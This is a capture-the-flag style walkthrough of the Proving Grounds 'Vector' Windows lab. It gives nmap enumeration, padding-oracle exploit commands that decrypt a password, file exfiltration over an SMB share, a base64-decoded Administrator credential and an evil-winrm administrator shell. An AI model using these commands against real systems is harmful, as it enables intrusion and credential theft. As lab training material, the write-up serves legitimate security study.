Vector

Port Scan Results ⤵️

┌──(kali🔥kali)-[~/Downloads/Proving_Ground/Practice/Vector]
└─$ sudo nmap -sC -sV -p- -vv -T4 -oN Nmap_Results.txt -Pn 192.168.155.119
Nmap scan report for 192.168.155.119
Host is up, received user-set (0.093s latency).
Scanned at 2024-07-01 08:39:41 IST for 160s
Not shown: 65527 filtered tcp ports (no-response)
PORT     STATE SERVICE       REASON          VERSION
21/tcp   open  ftp           syn-ack ttl 125 Microsoft ftpd
| ftp-syst: 
|_  SYST: Windows_NT
80/tcp   open  http          syn-ack ttl 125 Microsoft IIS httpd 10.0
| http-methods: 
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Site doesnt have a title (text/html; charset=utf-8).
135/tcp  open  msrpc         syn-ack ttl 125 Microsoft Windows RPC
139/tcp  open  netbios-ssn   syn-ack ttl 125 Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds  syn-ack ttl 125 Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
2290/tcp open  http          syn-ack ttl 125 Microsoft IIS httpd 10.0
|_http-title: Site doesnt have a title (text/html; charset=utf-8).
| http-methods: 
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
3389/tcp open  ms-wbt-server syn-ack ttl 125 Microsoft Terminal Services
|_ssl-date: 2024-07-01T03:12:20+00:00; 0s from scanner time.
| rdp-ntlm-info: 
|   Target_Name: VECTOR
|   NetBIOS_Domain_Name: VECTOR
|   NetBIOS_Computer_Name: VECTOR
|   DNS_Domain_Name: vector
|   DNS_Computer_Name: vector
|   Product_Version: 10.0.17763
|_  System_Time: 2024-07-01T03:11:40+00:00
| ssl-cert: Subject: commonName=vector
| Issuer: commonName=vector
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-03-22T16:36:29
| Not valid after:  2024-09-21T16:36:29
| MD5:   3a68:bca7:93da:d9d9:0748:1a1d:b6a1:9e0c
| SHA-1: 5ae7:a6d8:afd7:50a4:e1bf:d7b6:21c7:23b9:7aac:a79a
| -----BEGIN CERTIFICATE-----
| MIIC0DCCAbigAwIBAgIQV3xP7PEZnK1OsuzHBkam8TANBgkqhkiG9w0BAQsFADAR
| MQ8wDQYDVQQDEwZ2ZWN0b3IwHhcNMjQwMzIyMTYzNjI5WhcNMjQwOTIxMTYzNjI5
| WjARMQ8wDQYDVQQDEwZ2ZWN0b3IwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
| AoIBAQDGdPie+1SGnkr6ZU78dpEEWL5oHKrXOGPLy18cTze1sFVbaI5/VOZMVkZv
| k8WGIuuKtqe+B8P2I7p5YdpN06CUnEtLGHik2h9vsiXpWShLMrzt5wkSbr9mJ7HT
| UunqmHwYx+d83y/BIdh+VHnXQyLS6OG2xLhiTM8LJVUvPnU+RJwPSYlRj7QL/y4Y
| JcuLkj/81wRINh5lErAWMBeSiKna5C/54dwhlfsM5pTGAZGetoUW+bArV6wvXlcQ
| pDj5yZSpEoiA/kZW0zTUuupNmQnoB7erBQcDk9foQJozHkRTp3C1dkHncBDjltYo
| f3fwSNtAKF3bH0nT1t9nRezBywQtAgMBAAGjJDAiMBMGA1UdJQQMMAoGCCsGAQUF
| BwMBMAsGA1UdDwQEAwIEMDANBgkqhkiG9w0BAQsFAAOCAQEADAuVG4npJs4vv/ww
| e0MJ3hkFI+1hR9k0u+jnEt3cCMuDp5zarsnWIsn0KCvGXlSl64+4pOuKEH0/XrJm
| ShK+5F6tBIyLyV2ZsZ1OjxtJ6y5DRq6Qp9BLTVZvEfVbEsiRcBD6Y3yL4WbjfMfu
| m1KejISkCPTDi9l+4q6Oi8VQBmElJxkZBzpKnbTyZK/QYohT5HdfpWDywmeSOOSM
| r6tlkV9wKa6IdloPhhEaL017MaMCR4ucraeew+dfH8yhww6LbCZwY6rVKlWgQdEo
| 7ZgbPA6/QYu06GAIYcJkRTy6DxdcMu2KVjLIR2M34FEUDsGQXFL6jqnXBfbByuNA
| utpBTw==
|_-----END CERTIFICATE-----
5985/tcp open  http          syn-ack ttl 125 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 0s, deviation: 0s, median: 0s
| p2p-conficker: 
|   Checking for Conficker.C or higher...
|   Check 1 (port 8058/tcp): CLEAN (Timeout)
|   Check 2 (port 11018/tcp): CLEAN (Timeout)
|   Check 3 (port 63046/udp): CLEAN (Timeout)
|   Check 4 (port 31163/udp): CLEAN (Timeout)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
| smb2-time: 
|   date: 2024-07-01T03:11:42
|_  start_date: N/A
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)

Web Enumeration ⤵️

I checked port 2290 and I found this page indicating a missing parameter 🔻

Specifies me about c parameter While giving the parameter I got this 0 value so I checked its source code 🔻 While using c parameter I get 0 as default value Source code of this page

Now I am dealing with AES-256-CBC-PKCS7 cryptography so I need to research further as I searched related to its exploit I got this vulnerability highlighted 🔻

AES-256-CBC-PKCS7 key is related to Oracle Attack

I found this link interestingly to extract the value out of this cypher text.

Padding Oracle Attack

If you have an cyphertext (encrypted text) using AES-256-CBC-PKCS7 (or DES) and an oracle you can run this attack. Lots more details here: https://github.com/mpgn/Padding-oracle-attack

python3 exploit.py -c '4358b2f77165b5130e323f067ab6c8a92312420765204ce350b1fbb826c59488' -l '8' --host target.ip:2290 -u '/?c=' -v --error '0'

Another example site 🔻

https://github.com/halloweeks/AES-256-CBC

python3 exploit.py -c 4358b2f77165b5130e323f067ab6c8a92312420765204ce350b1fbb826c59488 -l 16 --host 192.168.155.119:2290 -u /?c= -v --error '<span id="MyLabel">0</span>'

Exploit gives me the decrypted password from that AES key

I got the password now so lets see what it can perform 🔻

Got connection with victor creds, and checked through netexec Tool

I connected the rdp connection with remmina Tool.

RDP connection using remmina Tool

To copy this rar file to the attacker machine I used smb server 🔻

Sharing of files using impacket-smbshare Tool

On Attacker Machine 🔻

Coping file to the sharing location

I got the copied file on my attacker machine so lets extract it 🔻

Extract the rar file without password

It requires a password .

Extracted the rar file with password

I used the password of victor to decrypt this rar file .

┌──(kali🔥kali)-[~/Downloads/Proving_Ground/Practice/Vector]
└─$ cat backup.txt 
QWRtaW5pc3RyYXRvcjpFdmVyeXdh........hcDM3NQ==                                                                                                                              
┌──(kali🔥kali)-[~/Downloads/Proving_Ground/Practice/Vector]
└─$ echo QWRtaW5pc3RyYXRvcjpFdmVyeXdheUxhYmVsV3JhcDM3NQ== | base64 -d
Administrator:<PASSWORD>                                        

netexec Tool connection on winrm service

┌──(kali🔥kali)-[~/Downloads/Proving_Ground/Practice/Vector]
└─$ evil-winrm -i 192.168.155.119 -u Administrator -p '<PASSWORD>'
                                        
Evil-WinRM shell v3.5
                                        
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> cd ..
t*Evil-WinRM* PS C:\Users\Administrator> tree /f /a
Folder PATH listing
Volume serial number is 7ADA-B29F
C:.
|   stop
|
+---3D Objects
+---Contacts
+---Desktop
|       proof.txt
|
+---Documents
+---Downloads
+---Favorites
|   |   Bing.url
|   |
|   \---Links
+---Links
|       Desktop.lnk
|       Downloads.lnk
|
+---Music
+---Pictures
+---Saved Games
+---Searches
\---Videos
*Evil-WinRM* PS C:\Users\Administrator> cat Desktop\proof.txt
28ccdd3a848dd67f089e494a55149940
*Evil-WinRM* PS C:\Users\Administrator> 

I am Administrator Now !!

If you have any questions or suggestions, please leave a comment below. Thank You !